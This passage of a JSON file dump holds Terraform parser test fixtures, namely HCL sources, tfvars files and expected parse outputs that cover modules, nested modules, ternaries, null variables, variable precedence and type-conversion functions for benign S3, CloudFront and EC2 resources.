    "content": "output \"bucket_name\" {\n  value = aws_s3_bucket.example.bucket\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"my_bucket\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_reference/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"bucket\"\n        }\n      }\n    ],\n    \"locals\": [\n      {\n        \"BUCKET_NAME\": [\"my_bucket\"]\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"output\": [\n      {\n        \"bucket_name\": {\n          \"value\": [\"my_bucket\"]\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"example\": {\n            \"bucket\": [\n              \"my_bucket\"\n            ],\n            \"__start_line__\": 5,\n            \"__end_line__\": 7,\n            \"__address__\": \"module.bucket.aws_s3_bucket.example\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_reference/main.tf",
    "content": "module \"bucket\" {\n  source   = \"./bucket\"\n}\n\nlocals {\n  BUCKET_NAME = \"${module.bucket.bucket_name}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple/bucket/bucket.tf",
    "content": "resource \"aws_s3_bucket\" \"mybucket\" {\n  bucket = \"MyBucket\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"bucket\": {\n          \"source\": [\"./bucket\"],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"bucket\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"mybucket\": {\n            \"bucket\": [\"MyBucket\"],\n            \"__start_line__\": 1,\n            \"__end_line__\": 3,\n            \"__address__\": \"module.bucket.aws_s3_bucket.mybucket\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple/main.tf",
    "content": "module \"bucket\" {\n  source   = \"./bucket\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/bucket/bucket.tf",
    "content": "resource \"aws_s3_bucket\" \"mybucket\" {\n  bucket = \"MyBucket\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"tf/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"bucket\": {\n          \"source\": [\"../bucket\"],\n          \"__resolved__\": [\"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"tf/main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"bucket\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"bucket/bucket.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"tf/main.tf\\\", \\\"name\\\": \\\"bucket\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"mybucket\": {\n            \"bucket\": [\"MyBucket\"],\n            \"__start_line__\": 1,\n            \"__end_line__\": 3,\n            \"__address__\": \"module.bucket.aws_s3_bucket.mybucket\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/tf/main.tf",
    "content": "module \"bucket\" {\n  source   = \"../bucket\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/expected.json",
    "content": "{\n    \"{\\\"file_path\\\": \\\"/tf_module/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n        \"module\": [\n            {\n                \"s3_module\": {\n                    \"__end_line__\": 9,\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\",\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"\n                    ],\n                    \"__start_line__\": 5,\n                    \"bucket\": [\n                        \"${aws_s3_bucket.example.id}\"\n                    ],\n                    \"source\": [\n                        \"./module\"\n                    ]\n                }\n            },\n            {\n                \"s3_module2\": {\n                    \"__end_line__\": 15,\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\",\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\"\n                    ],\n                    \"__start_line__\": 11,\n                    \"bucket\": [\n                        \"${aws_s3_bucket.example2.id}\"\n                    ],\n                    \"source\": [\n                        \"./module\"\n                    ]\n                }\n            }\n        ],\n        \"provider\": [\n            {\n                \"aws\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"region\": [\n                        \"us-west-2\"\n                    ]\n                }\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket\": {\n                    \"example\": {\n                        \"__end_line__\": 19,\n                        \"__start_line__\": 17,\n                        \"bucket\": [\n                            \"example\"\n                        ]\n                    }\n                }\n            },\n            {\n                \"aws_s3_bucket\": {\n                    \"example2\": {\n                        \"__end_line__\": 23,\n                        \"__start_line__\": 21,\n                        \"bucket\": [\n                            \"example\"\n                        ]\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n        \"module\": [\n            {\n                \"inner_s3_module\": {\n                    \"__end_line__\": 4,\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\",\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/module2/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\"\n                    ],\n                    \"__start_line__\": 1,\n                    \"bucket2\": [\n                        \"${var.bucket}\"\n                    ],\n                    \"source\": [\n                        \"./module2\"\n                    ]\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n        \"module\": [\n            {\n                \"inner_s3_module\": {\n                    \"__end_line__\": 4,\n                    \"__resolved__\": [\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\",\n                        \"{\\\"file_path\\\": \\\"/tf_module/module/module2/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\"\n                    ],\n                    \"__start_line__\": 1,\n                    \"bucket2\": [\n                        \"${var.bucket}\"\n                    ],\n                    \"source\": [\n                        \"./module2\"\n                    ]\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\": {\n        \"locals\": [\n            {\n                \"__end_line__\": 3,\n                \"__start_line__\": 1,\n                \"bucket2\": [\n                    \"${var.bucket2}\"\n                ]\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket_public_access_block\": {\n                    \"var_bucket\": {\n                        \"__end_line__\": 11,\n                        \"__start_line__\": 5,\n                        \"block_public_acls\": [\n                            true\n                        ],\n                        \"block_public_policy\": [\n                            true\n                        ],\n                        \"bucket\": [\n                            \"${local.bucket2}\"\n                        ],\n                        \"ignore_public_acls\": [\n                            true\n                        ],\n                        \"restrict_public_buckets\": [\n                            true\n                        ]\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\": {\n        \"locals\": [\n            {\n                \"__end_line__\": 3,\n                \"__start_line__\": 1,\n                \"bucket2\": [\n                    \"${var.bucket2}\"\n                ]\n            }\n        ],\n        \"resource\": [\n            {\n                \"aws_s3_bucket_public_access_block\": {\n                    \"var_bucket\": {\n                        \"__end_line__\": 11,\n                        \"__start_line__\": 5,\n                        \"block_public_acls\": [\n                            true\n                        ],\n                        \"block_public_policy\": [\n                            true\n                        ],\n                        \"bucket\": [\n                            \"${local.bucket2}\"\n                        ],\n                        \"ignore_public_acls\": [\n                            true\n                        ],\n                        \"restrict_public_buckets\": [\n                            true\n                        ]\n                    }\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/module2/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\": {\n        \"variable\": [\n            {\n                \"bucket2\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"type\": [\n                        \"${string}\"\n                    ]\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/module2/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}}\": {\n        \"variable\": [\n            {\n                \"bucket2\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"type\": [\n                        \"${string}\"\n                    ]\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n        \"variable\": [\n            {\n                \"bucket\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"type\": [\n                        \"${string}\"\n                    ]\n                }\n            }\n        ]\n    },\n    \"{\\\"file_path\\\": \\\"/tf_module/module/variable.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"/tf_module/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n        \"variable\": [\n            {\n                \"bucket\": {\n                    \"__end_line__\": 3,\n                    \"__start_line__\": 1,\n                    \"type\": [\n                        \"${string}\"\n                    ]\n                }\n            }\n        ]\n    }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\nmodule \"s3_module2\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example2.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/null_variables_651/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"resource\": [\n      {\n        \"aws_cloudfront_distribution\": {\n          \"cf_dis\": {\n            \"enabled\": [true]\n          }\n        }\n      },\n      {\n        \"aws_s3_bucket\": {\n          \"website_bucket\": {}\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"logging_include_cookies\": {\n          \"type\": [\"bool\"],\n          \"description\": [\"Whether to enable cookies in access logging\"]\n        }\n      },\n      {\n        \"logging_bucket_id\": {\n          \"type\": [\"string\"],\n          \"description\": [\"The bucket ID where to store access logs\"]\n        }\n      },\n      {\n        \"logging_bucket_prefix\": {\n          \"type\": [\"string\"],\n          \"description\": [\"The prefix where to store access logs\"]\n        }\n      },\n      {\n        \"versioning\": {}\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/null_variables_651/main.tf",
    "content": "variable \"logging_include_cookies\" {\n  type        = bool\n  description = \"Whether to enable cookies in access logging\"\n  default     = null\n}\n\nvariable \"logging_bucket_id\" {\n  type        = string\n  description = \"The bucket ID where to store access logs\"\n  default     = null\n}\n\nvariable \"logging_bucket_prefix\" {\n  type        = string\n  description = \"The prefix where to store access logs\"\n  default     = null\n}\n\nresource \"aws_cloudfront_distribution\" \"cf_dis\" {\n  enabled           = true\n  logging_config {\n    include_cookies = var.logging_include_cookies\n    bucket          = var.logging_bucket_id\n    prefix          = var.logging_bucket_prefix\n  }\n}\n\n\nresource \"aws_s3_bucket\" \"website_bucket\" {\n  versioning {\n      enabled = var.versioning\n  }\n}\n\nvariable \"versioning\" {\n    default = null\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/simple_bucket_single_file/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"test\": {\n            \"bucket\": [\n              \"my-test-bucket\"\n            ],\n            \"__start_line__\": 1,\n            \"__end_line__\": 3,\n            \"__address__\": \"aws_s3_bucket.test\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/simple_bucket_single_file/main.tf",
    "content": "resource \"aws_s3_bucket\" \"test\" {\n  bucket = \"my-test-bucket\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/ternaries/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"a\": [\"a\"],\n        \"b\": [\"b\"],\n        \"empty\": [\"\"],\n        \"bool_true\": [\"correct\"],\n        \"bool_false\": [\"correct\"],\n        \"type\": [\"bool\"],\n        \"default\": [true]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/ternaries/main.tf",
    "content": "locals {\n  a     = \"a\"\n  b     = \"b\"\n  empty = \"\"\n\n  bool_true  = true ? \"correct\" : \"wrong\"\n  bool_false = false ? \"wrong\" : \"correct\"\n\n//  local_true = true\n  // TODO: HCL2 parser doesn't like the following line\n//  multiline = (local.local_true) ?\n//    \"correct\" : \"wrong\"\n\n  // TODO: See test_hcl2_load_assumptions.py -> test_weird_ternary_string_clipping\n  //       Doesn't currently pull the ternary correctly since it's evaluated inside the string.\n//  bool_string_true  = \"true\" ? \"correct\" : \"wrong\"\n//  bool_string_false = \"false\" ? \"wrong\" : \"correct\"\n\n  // TODO: Comparison cases...\n//  compare_string_true  = \"a\" == \"a\" ? \"correct\" : \"wrong\"\n//  compare_string_false = \"a\" != \"a\" ? \"wrong\" : \"correct\"\n//\n//  compare_num_true  = 1 == 1 ? \"correct\" : \"wrong\"\n//  compare_num_false = 1 != 1 ? \"correct\" : \"wrong\"\n//\n//  # NOTE: I don't think evals in locals is valid in TF, but the parser will eval it\n//  default_not_taken = local.a != \"\" ? local.a : \"default value\"\n//  default_taken     = local.empty != \"\" ? local.a : \"default value\"\n\n  type        = bool\n  default     = true\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/ternary_793/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"metadata_http_tokens_required\": {\n          \"type\": [\"bool\"],\n          \"default\": [true],\n          \"description\": [\"Whether or not the metadata service requires session tokens\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 5,\n          \"__address__\": \"metadata_http_tokens_required\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_instance\": {\n          \"foo\": {\n            \"ami\": [\"ami-005e54dee72cc1d00\"],\n            \"instance_type\": [\"t2.micro\"],\n            \"root_block_device\": [\n              {\n                \"encrypted\": [true]\n              }\n            ],\n            \"metadata_options\": [\n              {\n                \"http_tokens\": [\"required\"]\n              }\n            ],\n            \"__start_line__\": 7,\n            \"__end_line__\": 18,\n            \"__address__\": \"aws_instance.foo\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/ternary_793/main.tf",
    "content": "variable \"metadata_http_tokens_required\" {\n  type        = bool\n  default     = true\n  description = \"Whether or not the metadata service requires session tokens\"\n}\n\nresource \"aws_instance\" \"foo\" {\n  ami           = \"ami-005e54dee72cc1d00\" # us-west-2\n  instance_type = \"t2.micro\"\n\n  root_block_device {\n    encrypted = true\n  }\n\n  metadata_options {\n    http_tokens = (var.metadata_http_tokens_required) ? \"required\" : \"optional\"\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"foo\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 1,\n          \"__address__\": \"foo\"\n        }\n      },\n      {\n        \"list_data\": {\n          \"__start_line__\": 2,\n          \"__end_line__\": 2,\n          \"__address__\": \"list_data\"\n        }\n      },\n      {\n        \"map_data\": {\n          \"__start_line__\": 3,\n          \"__end_line__\": 3,\n          \"__address__\": \"map_data\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"my_bucket\": {\n            \"bucket\": [\n              \"hello-nimrodIsCöoler-${nine}-${dev}-abc-xyz-qwerty\"\n            ],\n            \"__start_line__\": 17,\n            \"__end_line__\": 19,\n            \"__address__\": \"aws_s3_bucket.my_bucket\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/main.tf",
    "content": "variable \"foo\" {}\nvariable \"list_data\" {}\nvariable \"map_data\" {}\nvariable \"only_here\" {\n  default = \"hello\"\n}\nvariable \"other_var_1\" {\n  default = \"abc\"\n}\nvariable \"other_var_2\" {\n  default = \"abc\"\n}\nvariable \"other_var_3\" {\n  default = \"abc\"\n}\n\nresource \"aws_s3_bucket\" \"my_bucket\" {\n  bucket = \"${var.only_here}-${var.foo}-${var.list_data[0]}-${var.map_data[stage]}-${var.other_var_1}-${var.other_var_2}-${var.other_var_3}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/other1.tfvars",
    "content": "other_var_1 = \"xyz\""
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/other2.tfvars",
    "content": "other_var_2 = \"xyz\"\nfoo = \"nimrodIsCöol\""
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/other3.tfvars",
    "content": "other_var_3 = \"qwerty\"\nfoo = \"nimrodIsCöoler\""
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/terraform.tfvars",
    "content": "foo = \"fü\"\n\nlist_data = [\n  \"one\",\n  \"two\"\n]\n\nmap_data = {\n  namespace = \"customer\"\n  stage     = \"dev\"\n  name      = \"app\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/x.auto.tfvars",
    "content": "foo = \"bär\"\n\nlist_data = [\n  \"seven\",\n  \"eight\"\n]\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars/y.auto.tfvars",
    "content": "foo = \"fäz\"\n\nlist_data = [\n  \"nine\",\n  \"ten\"\n]\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars_outside_dir/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"my_bucket\": {\n            \"bucket\": [\n              \"xyz\"\n            ],\n            \"__start_line__\": 5,\n            \"__end_line__\": 7,\n            \"__address__\": \"aws_s3_bucket.my_bucket\"\n          }\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tfvars_outside_dir/main.tf",
    "content": "variable \"other_var_1\" {\n  default = \"abc\"\n}\n\nresource \"aws_s3_bucket\" \"my_bucket\" {\n  bucket = \"${var.other_var_1}\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tobool_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"RAW_T\": [true],\n        \"STRING_T\": [true],\n        \"RAW_F\": [false],\n        \"STRING_F\": [false],\n        \"JUNK\": [\"${tobool(\\\"invalid\\\")}\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tobool_function/main.tf",
    "content": "locals {\n  RAW_T = tobool(true)\n  STRING_T = tobool(\"true\")\n  RAW_F = tobool(false)\n  STRING_F = tobool(\"false\")\n  JUNK = tobool(\"invalid\")\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tolist_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"VAR\": [\n          [\n            \"a\",\n            \"b\",\n            \"c\"\n          ]\n        ]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tolist_function/main.tf",
    "content": "locals {\n  VAR = tolist([\"a\", \"b\", \"c\"])\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tomap_function/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"locals\": [\n      {\n        \"INTS\": [\n          {\n            \"a\": 1,\n            \"b\": 2\n          }\n        ],\n        \"FLOATS\": [\n          {\n            \"a\": 1.1,\n            \"b\": 2.2\n          }\n        ],\n        \"STRINGS\": [\n          {\n            \"a\": \"one\",\n            \"b\": \"two\"\n          }\n        ],\n        \"BOOLS\": [\n          {\n            \"a\": true,\n            \"b\": false\n          }\n        ],\n        \"MIXED_BOOL\": [\n          {\n            \"a\": \"foo\",\n            \"b\": \"true\"\n          }\n        ],\n        \"MIXED_FLOAT\": [\n          {\n            \"a\": \"foo\",\n            \"b\": \"1.2\"\n          }\n        ]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tomap_function/main.tf",
    "content": "locals {\n  INTS = tomap({\"a\" = 1, \"b\" = 2})\n  FLOATS = tomap({\"a\" = 1.1, \"b\" = 2.2})\n  STRINGS = tomap({\"a\" = \"one\", \"b\" = \"two\"})\n  BOOLS = tomap({\"a\" = true, \"b\" = false})\n\n  MIXED_BOOL = tomap({\"a\" = \"foo\", \"b\" = true})\n  MIXED_FLOAT = tomap({\"a\" = \"foo\", \"b\" = 1.2})\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tonumber_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"NUM\": [1],\n        \"FLOAT\": [3.14],\n        \"STRING\": [1],\n        \"INVALID\": [\"${tonumber(\\\"no\\\")}\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tonumber_function/main.tf",
    "content": "locals {\n  NUM = tonumber(1)\n  FLOAT = tonumber(3.14)\n  STRING = tonumber(\"1\")\n  INVALID = tonumber(\"no\")\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/toset_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"VAR\": [\n          [\n            \"__this_is_a_set__\",\n            \"a\",\n            \"b\",\n            \"c\"\n          ]\n        ]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/toset_function/main.tf",
    "content": "locals {\n  VAR = toset([\"a\", \"b\", \"c\"])\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tostring_function/expected.json",
